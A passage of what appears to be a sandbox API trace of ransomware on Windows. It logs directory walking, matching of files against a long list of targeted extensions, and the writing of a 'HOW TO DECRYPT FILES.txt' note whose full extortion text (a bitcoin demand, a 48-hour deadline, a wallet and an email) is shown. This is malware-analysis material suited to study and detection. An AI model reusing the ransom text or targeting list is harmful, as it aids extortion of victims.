(pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.bz2") returned 0 [0100.646] lstrlenA (lpString="*.bz2") returned 5 [0100.646] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.gz") returned 0 [0100.646] lstrlenA (lpString="*.gz") returned 4 [0100.646] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.mkv") returned 0 [0100.646] lstrlenA (lpString="*.mkv") returned 5 [0100.646] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.eml") returned 0 [0100.646] lstrlenA (lpString="*.eml") returned 5 [0100.646] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.msg") returned 0 [0100.646] lstrlenA (lpString="*.msg") returned 5 [0100.646] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.edb") returned 0 [0100.646] lstrlenA (lpString="*.edb") returned 5 [0100.646] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.accdb") returned 0 [0100.646] lstrlenA (lpString="*.accdb") returned 7 [0100.646] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.odb") returned 0 [0100.646] lstrlenA (lpString="*.odb") returned 5 [0100.646] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.java") returned 0 [0100.646] lstrlenA (lpString="*.java") returned 6 [0100.646] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.asm") returned 0 [0100.646] lstrlenA (lpString="*.asm") returned 5 [0100.646] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.pfx") returned 0 [0100.646] lstrlenA (lpString="*.pfx") returned 5 [0100.647] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.pem") returned 0 [0100.647] lstrlenA (lpString="*.pem") returned 5 [0100.647] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.p12") returned 0 [0100.647] lstrlenA (lpString="*.p12") returned 5 [0100.647] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.gpg") returned 0 [0100.647] lstrlenA (lpString="*.gpg") returned 5 [0100.647] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.vsd") returned 0 [0100.647] lstrlenA (lpString="*.vsd") returned 5 [0100.647] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.odg") returned 0 [0100.647] lstrlenA (lpString="*.odg") returned 5 [0100.647] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.raw") returned 0 [0100.647] lstrlenA (lpString="*.raw") returned 5 [0100.647] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.nef") returned 0 [0100.647] lstrlenA (lpString="*.nef") returned 5 [0100.647] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.svg") returned 0 [0100.647] lstrlenA (lpString="*.svg") returned 5 [0100.647] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.psd") returned 0 [0100.647] lstrlenA (lpString="*.psd") returned 5 [0100.647] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.vmx") returned 0 [0100.647] lstrlenA (lpString="*.vmx") returned 5 [0100.647] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.vmdk") returned 0 [0100.647] lstrlenA (lpString="*.vmdk") returned 6 [0100.647] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.vdi") returned 0 [0100.647] lstrlenA (lpString="*.vdi") returned 5 [0100.647] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.lay6") returned 0 [0100.647] lstrlenA (lpString="*.lay6") returned 6 [0100.648] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.mpeg") returned 0 [0100.648] lstrlenA (lpString="*.mpeg") returned 6 [0100.648] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.djvu") returned 0 [0100.648] lstrlenA (lpString="*.djvu") returned 6 [0100.648] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.tiff") returned 0 [0100.648] lstrlenA (lpString="*.tiff") returned 6 [0100.648] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.backup") returned 0 [0100.648] lstrlenA (lpString="*.backup") returned 8 [0100.648] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.pdf") returned 0 [0100.648] lstrlenA (lpString="*.pdf") returned 5 [0100.648] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.cert") returned 0 [0100.648] lstrlenA (lpString="*.cert") returned 6 [0100.648] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.docm") returned 0 [0100.648] lstrlenA (lpString="*.docm") returned 6 [0100.648] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.xlsm") returned 0 [0100.648] lstrlenA (lpString="*.xlsm") returned 6 [0100.648] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.dwg") returned 0 [0100.648] lstrlenA (lpString="*.dwg") returned 5 [0100.649] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.nd") returned 0 [0100.649] lstrlenA (lpString="*.nd") returned 4 [0100.649] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.tlg") returned 0 [0100.649] lstrlenA (lpString="*.tlg") returned 5 [0100.649] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.lgb") returned 0 [0100.649] lstrlenA (lpString="*.lgb") returned 5 [0100.649] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.mov") returned 0 [0100.649] lstrlenA (lpString="*.mov") returned 5 [0100.649] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.xdw") returned 0 [0100.649] lstrlenA (lpString="*.xdw") returned 5 [0100.649] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.ods") returned 0 [0100.649] lstrlenA (lpString="*.ods") returned 5 [0100.649] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.wav") returned 0 [0100.649] lstrlenA (lpString="*.wav") returned 5 [0100.649] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.mp3") returned 0 [0100.649] lstrlenA (lpString="*.mp3") returned 5 [0100.649] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.aiff") returned 0 [0100.649] lstrlenA (lpString="*.aiff") returned 6 [0100.649] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.flac") returned 0 [0100.649] lstrlenA (lpString="*.flac") returned 6 [0100.649] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.m4a") returned 0 [0100.649] lstrlenA (lpString="*.m4a") returned 5 [0100.649] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap.resources\\6.1.0.0_en_31bf3856ad364e35\\napsnap.resources.dll", pszSpec="*.csv") returned 0 [0100.649] lstrlenA (lpString="*.csv") returned 5 [0100.649] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a2d6a6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9e34029, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9a2d6a6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x39000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="napsnap.resources.dll", cAlternateFileName="")) returned 0 [0100.649] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0100.650] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef2c95d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef2c95d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6.1.0.0_en_31bf3856ad364e35", cAlternateFileName="610~1.0_E")) returned 0 [0100.650] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0100.650] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd6dd1c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd6dd1c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd6dd1c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x61006e, dwReserved1=0x730070, cFileName="Narrator", cAlternateFileName="")) returned 1 [0100.650] lstrcmpA (lpString1=".", lpString2="Narrator") returned -1 [0100.650] lstrcmpA (lpString1="..", lpString2="Narrator") returned -1 [0100.650] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0100.650] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Narrator" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Narrator") returned="C:\\Windows\\assembly\\GAC_MSIL\\Narrator" [0100.650] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Narrator") returned 37 [0100.650] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd6dd1c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd6dd1c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd6dd1c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0100.651] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.651] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd6dd1c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd6dd1c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd6dd1c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.651] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.651] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.651] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd6dd1c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc19eb968, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc19eb968, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6.1.0.0__31bf3856ad364e35", cAlternateFileName="610~1.0__")) returned 1 [0100.651] lstrcmpA (lpString1=".", lpString2="6.1.0.0__31bf3856ad364e35") returned -1 [0100.651] lstrcmpA (lpString1="..", lpString2="6.1.0.0__31bf3856ad364e35") returned -1 [0100.651] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\*.*") returned="*.*" [0100.651] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\", lpString2="6.1.0.0__31bf3856ad364e35" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35") returned="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35" [0100.651] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35") returned 63 [0100.651] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd6dd1c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc19eb968, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc19eb968, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.651] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.652] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd6dd1c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc19eb968, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc19eb968, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.652] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.652] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.652] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93786e01, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93786e01, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x937acf61, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x107000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Narrator.exe", cAlternateFileName="")) returned 1 [0100.652] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.652] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Narrator.exe") returned -1 [0100.652] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Narrator.exe") returned -1 [0100.652] lstrcmpiA (lpString1="", lpString2="Narrator.exe") returned -1 [0100.652] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\*.*") returned="*.*" [0100.652] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\" [0100.652] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\") returned="" [0100.652] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" [0100.652] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\narrator\\6.1.0.0__31bf3856ad364e35\\how to decrypt files.txt")) returned 0xffffffff [0100.652] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\narrator\\6.1.0.0__31bf3856ad364e35\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0100.653] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0100.653] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0100.655] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0100.655] CloseHandle (hObject=0x90) returned 1 [0100.655] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\", lpString2="Narrator.exe" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe") returned="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe" [0100.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.ems") returned 0 [0100.655] lstrlenA (lpString="*.ems") returned 5 [0100.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.db") returned 0 [0100.655] lstrlenA (lpString="*.db") returned 4 [0100.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.dbf") returned 0 [0100.655] lstrlenA (lpString="*.dbf") returned 5 [0100.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.myox") returned 0 [0100.655] lstrlenA (lpString="*.myox") returned 6 [0100.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.myo") returned 0 [0100.656] lstrlenA (lpString="*.myo") returned 5 [0100.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.qbw") returned 0 [0100.656] lstrlenA (lpString="*.qbw") returned 5 [0100.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.qbb") returned 0 [0100.656] lstrlenA (lpString="*.qbb") returned 5 [0100.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.qbm") returned 0 [0100.656] lstrlenA (lpString="*.qbm") returned 5 [0100.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.qbo") returned 0 [0100.656] lstrlenA (lpString="*.qbo") returned 5 [0100.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.qbx") returned 0 [0100.656] lstrlenA (lpString="*.qbx") returned 5 [0100.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.qba") returned 0 [0100.656] lstrlenA (lpString="*.qba") returned 5 [0100.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.qby") returned 0 [0100.656] lstrlenA (lpString="*.qby") returned 5 [0100.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.qbj") returned 0 [0100.656] lstrlenA (lpString="*.qbj") returned 5 [0100.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.ofx") returned 0 [0100.656] lstrlenA (lpString="*.ofx") returned 5 [0100.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.qif") returned 0 [0100.656] lstrlenA (lpString="*.qif") returned 5 [0100.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.mye") returned 0 [0100.656] lstrlenA (lpString="*.mye") returned 5 [0100.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.mbox") returned 0 [0100.657] lstrlenA (lpString="*.mbox") returned 6 [0100.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.eml") returned 0 [0100.657] lstrlenA (lpString="*.eml") returned 5 [0100.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.pst") returned 0 [0100.657] lstrlenA (lpString="*.pst") returned 5 [0100.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.ost") returned 0 [0100.657] lstrlenA (lpString="*.ost") returned 5 [0100.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.idx") returned 0 [0100.657] lstrlenA (lpString="*.idx") returned 5 [0100.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.dbx") returned 0 [0100.657] lstrlenA (lpString="*.dbx") returned 5 [0100.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.sql") returned 0 [0100.657] lstrlenA (lpString="*.sql") returned 5 [0100.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.mdb") returned 0 [0100.657] lstrlenA (lpString="*.mdb") returned 5 [0100.657] PathMatchSpecA 